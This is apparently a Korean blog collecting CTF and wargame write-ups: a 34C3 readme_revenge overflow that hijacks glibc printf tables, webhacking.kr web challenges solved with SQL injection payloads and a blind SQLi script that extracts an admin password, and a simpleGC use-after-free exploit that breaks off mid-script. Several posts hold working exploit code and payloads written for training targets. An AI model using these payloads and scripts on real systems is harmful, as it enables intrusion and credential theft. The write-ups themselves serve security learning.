2018. 1. 22. 23:47

## 34C3 CTF_2017(readme_revenge, pwn)


[Summary]

1. printf()함수의 소스코드를 보고 동작 방식을 간략하게 이해해야 한다.

2. __parse_one_specmb() 소스코드를 보고 일반적이지 않은 루틴이 실행되도록 조작해야한다.

3. libc_argv가 조작 가능할 때 이를 이용하는 함수를 찾아본다.

=> __fortify_fails()함수, malloc_printerr()함수, do_dlopen()함수 etc..

4. overflow 시켜 libc_argv, __printf_function_table, __printf_modifier_table, 

__printf_arginfo_table을 조작해 eip를 control 하고 위 함수를 이용해 메모리에 있는 flag를 

출력시킨다.


[Analysys]

 우선 문제를 받아보면 static compile되어 있는 것을 확인할 수 있고, IDA를 통해 디컴파일 해보면

아래 [그림 1]과 같이 정말 간단한 바이너리라는 것을 알 수 있다.


[그림 1] 바이너리 디컴파일(with IDA)


 간단하지만 분석을 해보면 scanf()함수를 이용하여 name이라는 변수에 사용자 입력을 받고 있지

만, 길이 값을 체크하지 않아 오버플로우 취약점이 존재한다. 그리고 입력 받은 값을 printf()함수를 

통해, "Hi, %s. Bye.\n"를 출력한다.


 일단 취약점이 어디서 나타나는지 알고 있으므로, name변수를 살펴보았다.


[그림 2] name


 [그림 2]와 같이 사용자 입력 값이 저장될 name 변수는 bss영역에 존재하고, static compile된 

바이너리기 때문에 library에서 사용하는 각종 variable들도 함께 저장되어 있었다. 그 말은

우리는 name 뒤의 영역에서 library에서 사용하는 변수들을  조작할 수 있다는 말이다. 우선 

조작할 만한 변수를 찾는 것이 중요한데, 나의 경우 일단 crash가 날때 까지 사용자 입력 값을 

넣어보았다. 그랬더니 아래 [그림 3]과 같이 "A"가 1609개 입력되면 크래시가 터졌다.


[그림 3] Crash!


 우선 library에서 사용하는 변수를 의미없는 "A"로 덮어씌우다가 다른 의미없는 것들은 프로그램 

동작에 아무 문제 없었지만 1609번째 덮어씌운 변수에서 문제가 생긴 것이다. 우선 gdb로 확인하

면, __parse_one_specmb()함수에서 Crash가 난 것을 알 수 있고, IDA로 동적 디버깅을 한 결과 

아래 [그림 4]와 같이 "A"가 __printf_function_table변수까지 덮어씌워주는 것을 알 수 있었다. 

그리고 실질적으로 [그림 5]와 같이 __printf_arginfo_table의 값 때문에 crash가 나는 것을 알 수 

있다.


[그림 4] "A"*1609 overflow


[그림 5] crash!


 [그림 5]를 보면 __printf_arginfo_table에서 값을 rcx로 가져와 "mov rax, [rcx+rdx*8]"를 실행하

면서 crash가 나는데 분석해보면 rcx가 0이고, rdx가 0x73이기 때문에 0x398 주소에 접근하면서

segment fault가 나게 된다.


 이제 조작해야할 중요한 변수가 __printf_arginfo_table, __printf_function_table인 것을 알았는데, 

뭘해야할지 몰라서 printf()함수의 소스코드를 살짝 보았다. 우선 위 crash가 터지는 함수인 

__parse_one_specmb()함수의 소스코드를 보면 아래 [코드 1]과 같은 부분을 볼 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
...
 
  /* Get the format specification.  */
  spec->info.spec = (wchar_t*format++;
  spec->size = -1;
  if (__builtin_expect (__printf_function_table == NULL1)
      || spec->info.spec > UCHAR_MAX
      || __printf_arginfo_table[spec->info.spec] == NULL
      /* We don't try to get the types for all arguments if the format
         uses more than one.  The normal case is covered though.  If
         the call returns -1 we continue with the normal specifiers.  */
      || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
                                   (&spec->info, 1&spec->data_arg_type,
                                    &spec->size)) < 0)
    {
 
...
 
// ref) https://code.woboq.org/userspace/glibc/stdio-common/printf-parsemb.c.html#49format
cs

[코드 1] __parse_one_specmb() 함수 중 line 307-319 부분

 

 이제 여기서 중요한 것이 있다. 우선 [코드 1]에서 if문안에서 4개의 조건을 OR연산자로 

묶어 놨다. 그런데 여기 4번째 조건을 잘 보면 함수포인터를 이용하여 함수를 실행한다. 

이 때의 함수포인터는 우리가 조작할 수 있었던 __printf_arginfo_table을 참조한다!! 

그렇다면 EIP를 컨트롤 할 수 있다는 말이 된다. 이제 이 조건을 트리거하기만 하면 된다. 


 그런데 if문이 OR연산자로 묶여있을 때 첫 번째 조건이 true이면 뒤의 조건문을 실행하지 않는다.

따라서 앞의 조건들을 false로 맞춰 주어야 한다.


 첫 번째 조건은"__builtin_expect(__printf_function_table == NULL, 1)"인데, __builtin_expect는

gcc에서 사용할 수 있는 키워드이며, 결과가 거의 확실할 때 컴파일러에게 알려주고 fetch과정에서

CPU가 좀더 효율적으로 동작하도록 하는 것이다. 결국 대부분 "__printf_function_table == NULL"

조건은 대부분 참이 되는 것으로 코드가 짜여져 있다. 우선 이 조건을 거짓으로 만들어야 하는데 

우리는 이미 __printf_function_table을 조작하였다.


 나머지 조건도 false로 만들어 주고 4번째 조건의 함수포인터를 활용해 EIP를 컨트롤 하면 된다.

일단 [그림 5]의 assembly에서 보면 위 소스코드의 첫 번째 조건을 확인하고 바로 세 번째 조건을

확인하는 듯하여 __printf_function_table과 __printf_arginfo_table을 의미없는 값으로 덮어씌웠다.

그랬더니 아래 [그림 6]과 같은 부분에서 crash가 났다. __printf_function_table과 

__printf_arginfo_table사이에 __printf_modifier_table이라는 변수가 있는데, 이 값이 NULL이 

아니면 Crash가 나서 취약점이 발생하는 부분까지 가지 않는 것이었다.


[그림 6] __printf_modifier_table이 NULL이 아닐 경우 Crash!


 그래서 __printf_modifier_table은 0으로 맞춰주고, __printf_arginfo_table을 덮어씌워 주었는데

이 때 주의해야할 점은 처음 "mov rax, [rcx+rdx*8]" 에서 crash가 났을 때 rcx값이 0이어서 

0x398메모리 주소에 접근하면서 seg fault가 난 것이므로 이 값은 접근 가능한 메모리 주소가 

되어야 하며 rdx는 항상 0x73이었다. 이를 바탕으로 아래 [그림 7]을 보면 __printf_arginfo_table

"mov rax, [rcx+rdx*8]"가 실행되고 "call rax"가 실행되어 eip를 컨트롤 할 수 있다.


[그림 7] call rax => RIP control!


 이제 RIP까지 컨트롤 할 수 있다. 거의 다했는데 flag를 출력해야 한다. 일단 이것을 하기 위해서는 

4가지 사실을 알아야 한다. 첫째, flag가 메모리 상(0x6b4040)에 존재한다. 둘째, overflow를 통해

__lib_argv를 조작할 수 있다. 셋째, __lib_argv를 사용하는 library error 메시지를 출력하는 함수가

존재한다.(ex. __fortify_fails 등등) 넷째, __lib_argv는 2중 포인터이다.


 그럼 이제 __lib_argv는 flag의 주소가 저장되어 있는 주소로 조작하고, __printf_function_table은

NULL이 아닌 값, __printf_modifier_table은 NULL 값, __printf_arginfo_table은 컨트롤 되기 원하는

주소-0x398으로 조작하여 RIP를 __fortify_fails()함수를 호출하면 아래 [그림 8]과 같이 플래그를

획득할 수 있다.


[그림 8] Get flag!


[Exploit Code]  - readmerevenge_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
#import hexdump
 
context(arch='amd64',os='linux')
local=True
#local=False
 
if local:
    #local_libc = ELF("./libc-2.26.so")
    #p = process("./sgc", env={'LD_PRELOAD':local_libc.path})
    p = process("./readme_revenge")
else:
    #remote_libc = ELF("./libc.so.6")
    p = remote("1.1.1.1"1234)
 
binary = ELF("./readme_revenge")
libc = binary.libc
 
raw_input()
 
bss_name = 0x6b73e0
libc_argv = 0x6b7980
printf_function_table = 0x6b7a28
printf_arginfo_table = 0x6b7aa8
fortify_fail = 0x4359d0
flag_addr = 0x6b4040
 
if __name__ == '__main__':
    
    payload = p64(flag_addr) + "A"*(libc_argv - (bss_name+8))
    payload += p64(bss_name)
    payload    += "A"*(printf_function_table - (libc_argv+8)) + p64(fortify_fail)   # printf_function_table != NULL
    payload += p64(0x0)                                                             # printf_modifier_table = 0x0
    payload += "B"*(printf_arginfo_table - (printf_function_table+8+8))
    payload += p64(printf_function_table - 0x398)
    p.send(payload + '\n')
 
    p.interactive()
cs


끝~!

'CTF writeup' 카테고리의 다른 글

[34C3 CTF_2017] SimpleGC(pwnable)  (0) 2018.01.07
[HITCON CTF_2017] start(pwnable)  (0) 2017.11.22
[CSAW CTF_2017] prophecy(reversing)  (0) 2017.09.21
[HDCON_2017] Fabuary(reversing)  (0) 2017.09.21
[ASIS CTF_2017] mrs. hudson(pwnable)  (0) 2017.09.13
Posted by holinder4S
2018. 1. 19. 16:04

## prob20(web, 200pt)


[Main]

 20번 문제는 javascript 문제였습니다. 우선 문제페이지를 보도록 하겠습니다.


[그림 1] 문제 페이지


 우선 do not programming이라고 적혀있습니다. 무슨 말인지 모르겠어서 바로 html 소스코드와 프록시 도구를 이용하여 아래 [그림 2]처럼 이 페이지를 살펴보았습니다.


[그림 2] 페이지 코드 및 프록시


 이제 코드를 살짝 보면 Submit버튼을 클릭하면 ck()함수를 실행하며 빨간 네모의 "hack"이라는 name을 가진 text박스와 "attackme"라는 name을 가진 button태그의 value와 비교하여 같은지 확인을 합니다. 여기서 "attackme" 박스의 value를 "hack" 텍스트 박스에 넣고 submit해야할 것이라는 감을 잡을 수 있었습니다. 그런데 같은 값을 넣고 submit을 하면 "Wrong"이라는 문자열이 뜹니다.


 그 이유는 위 [그림 2]의 빨간 박스 중 time limit : 2라는 것에서 왜 그런지 대충 감을 잡을 수 있었습니다. 아마 2초안에 같은 값을 넣고 submit을 해야하나봅니다. 그래서 저는 절대 2초안에 nickname과 comment와 code를 입력하고 submit버튼까지 누를수 없을 것 같아서 python의 requests 모듈을 활용하여 위 [그림 2]에서 프록시로 잡은 parameter를 토대로 코드를 짰습니다. 이 때 한 가지 주의할 점은 POST방식이고, Cookie에 st와 PHPSESSID값이 존재하는데, st는 2초 이내인지 아닌지 판단하는 값이므로 꼭 같이 헤더에 넣어서 보내주어야 합니다.


 아마 위에서 "do not programming!"이라는 것은 이런 풀이 방식을 생각하고 출제자가 쓴 글인가 봅니다. 우선 제 풀이법대로의 파이썬 코드는 아래와 같습니다.


[Exploit Code] - prob20.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
 
url = "http://webhacking.kr/challenge/codeing/code4.html"
header = {'Cookie':'PHPSESSID=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX',}
 
if __name__ == "__main__":
    ## Stage 1 : get "hack" parameter, get "st" cookie
    stage1_req = requests.post(url = url, headers=header)
    stage1_res = stage1_req.text
    st_cookie = stage1_req.cookies['st']
 
    header = {'Cookie':'st='+st_cookie+';PHPSESSID=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX',}
    if "attackme" in stage1_res:
        hack = stage1_res[stage1_res.find("name=attackme value=")+21:]
        hack = hack[:hack.find("\"")]
        params = {'id':'holinder4s''cmt':'hello''hack':hack}
        stage2_req = requests.post(url = url, data = params, headers=header)
        stage2_res = stage2_req.text
        print stage2_res
    else:
        print "[-] Error Occur!"
        exit(-1)
 
# ref1) https://www.geeksforgeeks.org/get-post-requests-using-python/
 
cs


 위 코드를 돌리면 아래 [그림 3]과 같이 축하한다면서 문제를 풀었다는 response를 받을 수 있습니다.



[그림 3] Congratulation!


 이 풀이 방법 말고 다른 풀이 방법을 한 번 찾아보았습니다. 사실 수동으로 2초 내에 조금 빠르게 할 수 있는 방법이 존재합니다. 바로 크롬 개발자 도구에서 Console 탭을 이용해 lv5frm.id.value, lv5frm.cmt.value, lv5frm.hack.value를 채워주고 ck()함수를 호출해 주는 방식입니다.


 이 문제는 python코드로 post request보내는 template로 활용하면 될 것 같습니다.

'Wargame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] prob46(300pt)  (0) 2018.01.26
[webhacking.kr] prob25(150pt)  (0) 2018.01.26
[webhacking.kr] prob8(350pt)  (0) 2018.01.18
[webhacking.kr] prob21(250pt)  (0) 2018.01.13
[webhacking.kr] prob18(100pt)  (0) 2018.01.12
Posted by holinder4S
2018. 1. 18. 19:53

## prob8(web, 350pt)


[Main]

 8번 문제는 간단한 sqli 문제였습니다. 우선 문제페이지와 소스코드를 보면 아래 [그림 1]과 같습니다.


[그림 1] 문제 페이지와 소스코드


 우선 위 [그림 1]에서 소스코드에 보면 주석으로 "index.phps"라고 되어 있습니다. 그래서 이 힌트를 바탕으로 index.phps로 접속하면 아래 [그림 2]와 같은 index.php 소스코드를 확인할 수 있습니다.


[그림 2] index.php 소스코드


  우선 우리가 주의 깊게 보아야 할 부분은 위에서 네모 박스부분입니다. 최종적으로 우리가 해야할 부분은 5번인데 3번이 포함된 select문의 결과로 id가 admin이 나오도록 해야합니다. 

 

 이런 sqli문제를 풀때 기본적으로 우리가 조작할 수 있는 input을 파악해야하는데 소스코드를 보면 $agent라는 변수가 "HTTP_USER_AGENT"값을 받아오고, 이와 같은 값인 $_SERVER[HTTP_USER_AGENT]를 수정할 수 있습니다. 따라서 3번과 4번을 조작할 수 있고 sqli 취약점이 발생하게 될 것입니다.


 그런데 한가지 문제가 발생하는데 $agent를 조작할 수 있지만 1번에 의해 "."과 "/"가 "_"로 치환되고, $pat에 정의된 정규표현식에 의해 필터링되고 있으며, $agent와 같은 값을 가지는 $_SERVER[HTTP_USER_AGENT]도 2번에 의해 single quote와 "\"가 필터링되고 있습니다. 따라서 3번의 SQL 쿼리문에서 발생하는 sqli 취약점은 싱글 쿼터와 역슬래시를 사용할 수 없고, 4번의 SQL 쿼리문에서 발생하는 sqli 취약점은 "."과 "/"를 포함한 $pat에 매치되는 문자를 사용할 수 없습니다.


 여기서 저는 3번을 이용하여 문제를 풀기 위해서는 싱글쿼터로 sql 쿼리문을 필수적으로 닫아주어야 하는데 이게 필터링 되면서 실질적으로 sqli를 이용하기가 힘들다고 판단하였습니다. 하지만 4번을 이용하여 sqli를 이용할 때는 싱글 쿼터와 ","와 ")"와 "#"(주석)이 이용 가능하다는 점을 이용하여 sql injection을 합니다. 우리의 목표는 3번 select문의 결과, id가 "admin"이 되도록 만들면 되므로 테이블에 admin을 insert 해주면 됩니다.


 위 분석을 토대로 $agent 부분에 "wjdebug','1234','admin')#"라는 쿼리문을 injection 시키면 "insert into lv0(agent,ip,id) values('wjdebug','1234','admin')"이라는 쿼리가 완성되어 id가 "admin"인 행이 생기게 됩니다. 이렇게 인젝션을 시키기 위해 아래 [그림 3]과 같이 burpsuite라는 프록시 도구를 이용해 USER_AGENT부분에 원하는 injection payload를 삽입합니다.


[그림 3] Sql injection Payload 삽입


 이제 [그림 2]에 있는 3번의 $agent에 wjdebug만 입력하면 그에 대응되는 id의 내용이 select의 결과로 나오는데 이것은 아까 insert문으로 'admin'으로 만들었기 때문에 'admin'이 반환되며 아래 [그림 4]와 같이 문제를 풀었다는 html을 리턴해냅니다.


[그림 4] congratulation!


 참고로 위 처럼 burpsuite의 repeater 탭 기능을 사용할 때 우측 상단의 target을 설정해주어야 합니다. 그리고 request는 한번 proxy로 잡아서 내용을 복붙해서 사용하면 됩니다.

'Wargame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] prob25(150pt)  (0) 2018.01.26
[webhacking.kr] prob20(200pt)  (0) 2018.01.19
[webhacking.kr] prob21(250pt)  (0) 2018.01.13
[webhacking.kr] prob18(100pt)  (0) 2018.01.12
[webhacking.kr] prob17(100pt)  (0) 2018.01.12
Posted by holinder4S
2018. 1. 18. 17:17

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2018. 1. 13. 14:50

## prob21(web, 250pt)


[Main]

 21번 문제는 Blind SQLi 문제였습니다. 우선 문제를 보면 아래와 같이 인풋 박스에 숫자를 입력하고 제출 버튼을 누르면 get 방식으로 no파라미터에 값을 넣고 쿼리를 실행하는 페이지를 볼 수 있습니다.


[그림 1] 문제 페이지


 위 [그림 1]에서는 입력 창에 1, 2, 3을 각각 입력하고 제출 버튼을 클릭한 결과입니다. 1과 2는 True라는 결과가 나오는데 3은 False라는 결과가 나옵니다. 우선 문제 제목부터 blind sql injection이라고 하니 "1 and 1=1#"과 "1 and 1=2#"이라는 쿼리를 날려보았습니다. 예상했던대로 앞의 쿼리는 "True"라는 결과를 뒤의 쿼리는 "False"라는 결과를 뱉어냈습니다.


 우선 저는 여기서 Get 방식의 바라미터 중에 no말고 id와 pw라는 파라미터가 왜 있는지 생각해보았고, 그 결과 DB에 컬럼 명을 힌트로 준 것이라고 생각했습니다. 그래서 id값과 pw을 알기 위해 MYSQL의 내장 함수인 substring(), ord(), bin(), lpad()함수와 if문을 사용하였는데 우선 쿼리를 짠 원리를 간단하게 설명드리겠습니다.


 만약 id컬럼에 "admin"이라는 값이 있다고 했을 때 substring(id, 1, 1)로 한글자 "a"를 떼어냅니다. 그리고 이 결과에 ord()함수를 사용하여 ord(substring(id, 1, 1))이라는 쿼리를 만들어 "a"를 숫자 97로 만들어 냅니다. 이 결과에는 bin()함수를 이용하여 bin(ord(substring(id, 1, 1)))이라는 쿼리를 만들어 97이라는 숫자를 "1100001"으로 변환시킵니다. 이 결과에 또 lpad()함수를 이용하여 lpad(bin(ord(substring(id, 1, 1))), 8, 0)이라는 쿼리를 만들어 "1100001"이라는 2진수를 8자리의 2진수로 만들기 위해 8자리 길이에 맞춰서 왼쪽부터 0으로 채워넣습니다. 그러면 "01100001"이라는 결과가 나오고 이제 이 2진수를 substring()함수를 이용하여 다시 1글자씩 떼어내는데 "substring(lpad(bin(ord(substring(id, 1, 1))), 8, 0), 1, 1)"이라는 쿼리를 만들어 "01100001"에서 한 글자 "0"을 떼어냅니다. 그리고 if문을 이용하여 "if(substring(lpad(bin(ord(substring(id, 1, 1))), 8, 0), 1, 1)=0, 1, 0)"이라는 쿼리를 최종적으로 만들어내서 "0"이면 1을 리턴하고 "1"이면 0을 리턴하는 식으로 True, False를 판단하게 됩니다.


 위 방식을 이용하면 최종적으로 "admin"이라는 글자를 알아내기 위하여 "a", "d", "m", "i", "n"이라는 글자 하나하나마다 2진수 8자리로 변환하여 1비트씩 비교하여 값을 얻어낼 수 있습니다. 이렇게 귀찮은 짓을 하는 이유는 이 방식을 사용하지 않으면 한 글자 한 글자마다 아스키 값으로 하나하나 비교하여야 하는데 이는 시간이 너무 오래 걸리고, 범위를 반토막 내서 찾는 2진 탐색기법을 하면 조금 더 빠르지만 문자열의 범위가 "0-9a-zA-Z"와 특수문자까지 포함하면 위 방식보다 시간이 더 오래 걸리기 때문에 저는 위 방식을 사용합니다.


 이렇게 코드를 짜고 나서 id와 pw를 찾으면 no=1일 때는 guest계정, no=2일 때는 admin계정이 나오는데 admin계정의 pw가 이 문제의 플래그였습니다.


[Exploit Code]  - blindsql_prob21.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import requests
 
url = "http://webhacking.kr/challenge/bonus/bonus-1/index.php"
header = {'Cookie':'PHPSESSID=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX',}
#params = {'no':'1', 'id':'', 'pw':''}
 
key_id = ""
key_pw = ""
 
def getLength(field):
    for i in xrange(50):
        payload = "1 and length(" + field + ")="+str(i)+"#"
        params = {'no':payload, 'id':'''pw':''}
        req = requests.get(url = url, params = params, headers = header)
        res = req.text
        if "True" in res:
            print "[+] " + field + " length : " + str(i)
            break
 
def getContent(field):
    #length = int(raw_input("Input " + field + " length : "))
    content = ""
    for i in xrange(50):
    #for i in xrange(length):
        binary = ""
        for j in xrange(8):
            payload = "2 and if(substring(lpad(bin(ord(substring("+field+","+str(i+1)+",1))),8,0),"+str(j+1)+",1)=0,1,0)"
            params = {'no':payload, 'id':'''pw':''}
            req = requests.get(url = url, params = params, headers = header)
            res = req.text
            if "True" in res:
                binary += '0'
            else:
                binary += '1'
        content += chr(int(binary, 2))
        if int(binary, 2== 0:
            print "[*] Blind SQLi Search End."
            print "[*] " + field + " : " + content[:-1" => found!"
            break
        print "[+] Content Finding : " + content
 
'''
def getTableName():
    content = ""
    for i in xrange(50):
        for j in xrange(50):
            binary = ""
            for k in xrange(8): 
                payload = "2 and if((select substring(lpad(bin(ord(substring(table_name,"+str(j+1)+",1))),8,0),"+str(k+1)+",1) from information_schema.tables limit "+str(i+1)+",1)=0,1,0)"
                params = {'no':payload, 'id':'', 'pw':''}
                req = requests.get(url = url, params = params, headers = header)
                res = req.text
                if "True" in res:
                    binary += '0'
                else:
                    binary += '1'
            content += chr(int(binary, 2))
            if int(binary, 2) == 0:
                print "[*] Blind SQLi Search End."
                print "[*] " + field + " : " + content[:-1]
                print "[*] " + field + " found!"
            print "[+] Table Finding : " + content
'''
 
if __name__ == '__main__':        
    #getLength("id")     # id length finding
    #getLength("pw")     # pw length finding
    getContent("id")    # id content finding
    getContent("pw")    # pw content finding
    #getTableName()
 
# ref1) https://www.geeksforgeeks.org/get-post-requests-using-python/
# ref2) https://dev.mysql.com/doc/refman/5.7/en/string-functions.html
# ref3) http://choiys.tistory.com/entry/Wargamekr-Web700ip-log-table?category=684299
 
cs



'Wargame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] prob20(200pt)  (0) 2018.01.19
[webhacking.kr] prob8(350pt)  (0) 2018.01.18
[webhacking.kr] prob18(100pt)  (0) 2018.01.12
[webhacking.kr] prob17(100pt)  (0) 2018.01.12
[webhacking.kr] prob10(250pt)  (0) 2018.01.12
Posted by holinder4S
2018. 1. 12. 23:47

## prob18(web, 100pt)


[Main]

 18번 문제는 아주 간단한 SQLi 문제였습니다. 우선 문제를 보면 아래와 같은 페이지를 볼 수 있습니다.


[그림 1] 문제 페이지


 일단 index.phps라는 이 문제 페이지의 php 소스로 가는 링크를 클릭하면 아래 [그림 2]와 같이 php 소스 코드를 볼 수 있습니다.


[그림 2] index.phps


 소스 코드에서는 eregi()함수를 이용해 간단한 필터링을 합니다. 그리고 "select id from challenge18_table where id='guest' and no=$_GET[no]"라는 쿼리문을 실행시키는데 where 절안에 no파라미터를 GET방식으로 받아서 포함시킵니다. 일단 no 컬럼은 숫자이므로 아무 숫자나 0, 1, 2, 3...을 집어넣어 봤습니다. 1을 넣으니 "hi guest"가 떳고, 나머지는 아무것도 안떴습니다. 여기서 guest 계정은 no 컬럼이 1이라는 것을 알 수 있습니다.


 여기에 sql injection이 가능하고 따라서 "~ where id='guest' and no=-1 or no=2"로 쿼리를 인젝션시키면 (id='guest' and no=-1)이 false가 되고 or로 묶인 no=2가 true가 되면서 결과 값이 나오게 됩니다. 여기서 no=2는 admin 계정입니다. no=2가 admin이라는 것은 0부터 차례대로 입력해보았습니다. 그리고 공백 문자가 필터링되고 있으므로 공백문자를 공백문자 우회할 수 있는 방법들(%0a, %09, %0d, /**/, +)중 하나인 %0a로 대체하여 쿼리(-1%0aor%0ano=2)를 날리면 아래 [그림 3]과 같이 문제가 풀립니다.


[그림 3] Congratulation!



 참고로 "id='guest' and no=1 or no=2"로 인젝션시키면 guest가 결과로 나오게 되므로 id='guest'를 무력화시켜줘야 합니다. 그리고 id='admin'을 인젝션 쿼리에 넣어 바로 실행시키려고 했지만 싱글 쿼터가 url encode되어 쿼리문을 실행시킬 수 없었습니다


'Wargame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] prob20(200pt)  (0) 2018.01.19
[webhacking.kr] prob8(350pt)  (0) 2018.01.18
[webhacking.kr] prob21(250pt)  (0) 2018.01.13
[webhacking.kr] prob17(100pt)  (0) 2018.01.12
[webhacking.kr] prob10(250pt)  (0) 2018.01.12
Posted by holinder4S
2018. 1. 12. 20:13

## prob17(web, 100pt)


[Main]

 17번 문제도 개발자 도구만 쓰면되는 아주 간단한 문제입니다. 접속하면 아래 [그림 1]과 같은 페이지와 소스코드를 뿌려줍니다.


[그림 1] 문제 페이지 및 소스 코드


 우선 개발자도구로 소스코드(html, javascript)를 보면 pw라는 이름의 input 박스에 값을 입력 받고, check 버튼을 누르면 sub()함수가 실행됩니다. sub()함수는 unlock 변수에 숫자계산을 한 값을 집어넣고 입력한 값과 unlock값을 비교하고 10으로 나누어서 password 는 unlock/10이라는 alert박스를 띄워주고 아니면 wrong을 띄워줍니다.


 푸는 방법은 여러가지가 있는데 console에서 위 코드를 그대로치고 unlock/10값을 확인하는 방법, sources 탭에서 브레이크포인트를 걸고 값 확인하는 방법, else문 안에서 alert("Wrong");을 alert("Password is "+unlock/10);으로 바꿔서 확인하는 방법 등등이 있습니다.


그런 방법으로 풀면 아래 [그림 2]처럼 답이 나옵니다.


[그림 2] Congratulation!


'Wargame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] prob20(200pt)  (0) 2018.01.19
[webhacking.kr] prob8(350pt)  (0) 2018.01.18
[webhacking.kr] prob21(250pt)  (0) 2018.01.13
[webhacking.kr] prob18(100pt)  (0) 2018.01.12
[webhacking.kr] prob10(250pt)  (0) 2018.01.12
Posted by holinder4S
2018. 1. 12. 19:58

## prob10(web, 250pt)


[Main]

 10번 문제를 개발자 도구를 통해 보면 아래와 같은 페이지와 소스코드가 보이게 됩니다.


[그림 1] prob10 문제 페이지 & 소스코드


 위 [그림 1]에서 빨간 네모 박스 친 부분을 잘 보면 "hackme"라는 id를 가지는 a 태그를 사용하면서 마우스 오버가 되면 "y0u"로 바뀌고, 마우스가 out되면 "O"를 표시합니다. 그리고 onclink 속성으로 마우스로 클릭하면 위치를 오른쪽으로 1칸씩 옮깁니다. 그리고 800번째 위치가 되면 "?go="+this.style.posLeft로 이동하는 링크를 만들고, 이동하면 끝이 납니다. 이 때 당연히 this.style.posLeft는 800이 될 것이고 최종적으로 "http://webhacking.kr/challenge/codeing/code1.html?go=800"이라는 링크를 만들어낼 것이라고 예상할 수 있습니다.


 그래서 그냥 들어갔더니 "no hack"이라는 문자열이 뜨고 아무 반응이 없습니다. 처음에는 뭔가 필터링이 있는지 알고 삽질했는데, 그게 아니었습니다. 그냥 onclick 속성의 코드에서 this.style.posLeft+=1 부분을 this.style.posLeft=800으로 바꾸고 클릭하니까 정상적으로 링크가 만들어졌고, 들어가니까 아래 [그림 2]와 같이 문제를 풀었습니다.


[그림 2] congratulation!

'Wargame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] prob20(200pt)  (0) 2018.01.19
[webhacking.kr] prob8(350pt)  (0) 2018.01.18
[webhacking.kr] prob21(250pt)  (0) 2018.01.13
[webhacking.kr] prob18(100pt)  (0) 2018.01.12
[webhacking.kr] prob17(100pt)  (0) 2018.01.12
Posted by holinder4S
2018. 1. 7. 17:56

## 34C3 CTF_2017(simpleGC, pwn)


[Summary]

1. C로 Garbage Collection을 구현한 프로그램에서 UAF취약점을 이용하는 문제이다.

2. user Add를 하는 과정에서 group을 변경해도 group의 reference Count가 줄어들지 않는다.

=> 이를 이용하여 byte형 refcount를 0x00으로 만든 후

=> Garbage Collection 스레드에 의해 free된다.

3. user3의 구조체와 과 user1의 group_name 구조체가 공유되도록 만든다.

=> group_name에 strlen got로 변조하면 

=> user3의 group_name_ptr이 strlen got로 변하게 되고

=> leak과 got overwrite가 가능해짐

4. 원래는 libc 2.26버젼에 새롭게 추가된 t-cache를 우회해야 리모트 exploit이 가능.

=> 관련 내용은 차후 추가 예정..


[Exploit Code]  - sgc_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *
#import hexdump
 
context(arch='amd64',os='linux')
local=True
#local=False
 
if local:
    #local_libc = ELF("./libc-2.26.so")
    #p = process("./sgc", env={'LD_PRELOAD':local_libc.path})
    p = process("./sgc")
else:
    #remote_libc = ELF("./libc.so.6")
    p = remote("35.198.176.224"1337)
 
binary = ELF("./sgc")
libc = binary.libc
 
raw_input()
 
def print_menu():
    print p.recvuntil("Action: ")
 
def add_user(user_name, group_name, age):
    print_menu()
    p.send('0\n')
    print p.recvuntil("name: ")
    p.send(user_name+'\n')
    print p.recvuntil("group: ")
    p.send(group_name+'\n')
    print p.recvuntil("age: ")
    p.send(str(age)+'\n')
 
def display_user(user_idx):
    print_menu()
    p.send('2\n')
    print p.recvuntil("index: ")
    p.send(str(user_idx)+'\n')
    response = p.recvuntil("0: Add a user")
    return response
 
def edit_group(user_idx, prop, group_name):
    print_menu()
    p.send('3\n')
    print p.recvuntil("index: ")
    p.send(str(user_idx)+'\n')
    print p.recvuntil("group(y/n): ")
    p.send(prop+'\n')
    print p.recvuntil("name: ")
    p.send(group_name+'\n')
 
def delete_user(user_idx):
    print_menu()
    p.send('4\n')
    print p.recvuntil("index: ")
    p.send(str(user_idx)+'\n')
 
if __name__ == '__main__':
    
    ##############################################
    # Stage 1 : overflow group's reference count #
    ##############################################
    for i in xrange(255):
        add_user("AAAA""groupA"10)
        edit_group(0"n""groupC")
        delete_user(0)
    
    add_user("B"*31"groupB"20)
    add_user("A"*31"groupA"20)    # overflow refCnt & user link groupA(freed by GC => free group, group_name_ptr)
    
    ####################################
    # Stage 2 : Trigger UAF & got leak #
    ####################################
    add_user("B"*31"groupB"20)    # group_name_ptr
    add_user("B"*31"groupB"20)    # group
    
    strlen_got = binary.got['strlen']
    edit_group(1"y", p64(20)+p64(strlen_got)+p64(strlen_got))
    response = display_user(3)
    
    strlen_addr = u64(response[response.find("Name: ")+6:response.find("Name: ")+12+ "\x00\x00")
    libc_base = strlen_addr - libc.symbols['strlen']
    system_addr = libc_base + libc.symbols['system']
 
    print "[+] libc base addr : " + hex(libc_base)
    print "[+] system addr : " + hex(system_addr)
    
    #############################################
    # Stage 3-1 : Overwrite got(strlen->system) #
